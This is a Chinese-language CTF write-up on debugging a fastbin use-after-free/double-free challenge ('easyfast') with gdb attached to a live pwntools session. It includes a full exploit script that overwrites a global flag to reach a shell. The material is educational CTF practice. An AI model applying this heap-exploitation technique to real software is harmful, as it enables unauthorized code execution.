0%

gdb新的理解

gdb新的理解

前言:

其实感觉之前一直有gdb调试恐惧症。

但是通过最近的练习和复现,对gdb有了一些新的理解与感悟。

之前常常因为搞不清楚调试的位置,不知道怎么查看想看的程序执行情况而苦恼。

通过最近的联系理解了断点的重要性,以及一些新的gdb指令。

希望可以一直进步下去!!!

新学会了用python交互模式进行gdb的单步调试

下面以一个简单的uaf堆题为例:

题目(buuctf easyfast):

gdb1

creat:

image-20251112145102620

shell:

gdb2

image-20251112145421701

这里可以看到data段的全局变量602090初始的时候是1

delete:

image-20251112145252356

这里存在一个 **uaf **漏洞。

edit:

image-20251112145305907

思路:

这里的思路就是利doublefree或者 uaf 将 全局变量602090变为0

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import*

# [+] 环境配置
context(log_level='debug')
p = process('./easyfast') # 本地调试
# p = remote('target.ip', port) # 远程连接

target = 0x602090 # 目标地址(如 GOT 表)

# [+] 堆操作函数
def alloc(size):
"""申请堆块"""
p.sendlineafter(b'choice>', str(1))
p.sendlineafter(b'size>', str(size))

def free(index):
"""释放堆块"""
p.sendlineafter(b'choice>', str(2))
p.sendlineafter(b'index>', str(index))

def fill(index, content):
"""填充堆块内容"""
p.sendlineafter(b'choice>', str(3))
p.sendlineafter(b'index>', str(index))
p.send(content)

def shell():
"""触发漏洞函数"""
p.sendlineafter(b'choice>', str(4))

# [+] Exploit 流程
alloc(0x40) # 申请两个 0x50 大小的堆块(0x40 + header)
alloc(0x40)

# [+] 构造 Double Free
free(0) # 释放 chunk 0
free(1) # 释放 chunk 1
free(0) # 再次释放 chunk 0,形成 fastbin 链表:0 -> 1 -> 0

# [+] 控制 fastbin 链表头
payload = p64(target - 0x10) # 指向目标地址 - 0x10(chunk header)
fill(0, payload)

# [+] 重新分配,控制目标地址附近的内存
alloc(0x40) # 分配到原 chunk 0 位置
alloc(0x40) # 分配到原 chunk 1 位置,此时其 fd 指向 target-0x10
alloc(0x40) # 分配到 target-0x10 附近,可以覆盖目标

# [+] 覆盖目标内容(如 GOT 表项)
payload = p64(0) # 或者 system("/bin/sh") 的地址
fill(3, payload)

# [+] 触发漏洞
shell()

# [+] 交互
p.interactive()

动态调试part1

  • 首先开启一个python3 解释器:

image-20251112150609622

这里同时也可以看到我们启动了一个进程72687

  • 同时开启另一个gdb终端:

image-20251112151018331

attach (pid)在gdb里面附件进程。

  • 设置关键断点:

QQ_1762932098054

QQ_1762932109240

QQ_1762932126635

在三个关键函数的返回处设置断点

QQ_1762932409290

然后continue等待解释器输入

QQ_1762932489263

  • 开始进行单步调试:

QQ_1762932787984

这里定义函数

然后下面我们执行了alloc(0x40)创建了0x40大小的堆块

QQ_1762932811796

这里可以看到右边的终端停在了我们设置的断点

image-20251112153558163

这里也可以看到我们的堆块创建成功。

这样调试可以看到每步的执行情况。

每次进入Continuing.等待执行时候在python解释器执行新的指令

image-20251112153909048

这里看到成功把chunk0fd改为全局变量-0x10,然后后面通过edit就可以修改这个伪造的堆块,也就是我们需要利用全局变量

image-20251112154622804

查看全局变量buf

可以看到我们的目标地址被当作了一个堆块。后面就修改堆块3即可。

image-20251112155101849

这里可以看到我们成功启动了shell的进程:

image-20251112155456001

image-20251112155433697

注意

ctrl + d 退出python解释器

想看执行情况可以随时ctrl + c暂停gdb终端

动态调试part2

image-20251112162347772

这里可以看到我们进入了interactive mode

image-20251112162428445

image-20251112162453383

继续4执行shell()成功

同时可以利用interactive modegdb.attach()

image-20251112162721541

image-20251112162730716

这里就是说当写脚本的时候可以利用interactive mode 继续往下执行gdb.attach后面的内容。